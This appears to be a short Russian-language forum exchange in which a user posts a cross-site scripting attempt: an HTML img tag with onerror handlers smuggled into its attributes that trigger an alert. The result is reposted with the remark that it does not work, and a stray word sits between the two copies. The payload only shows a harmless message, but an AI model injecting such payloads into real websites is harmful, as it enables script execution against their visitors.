Вот XSS:

<img class="txt" src="x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//" alt="!<a href="x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//">x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//</a>" >

:)

vincitygialam

Вот XSS:

] Результат:

<img class="txt" src="x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//" alt="!<a href="x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//">x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//</a>" >

:)

Только не работает.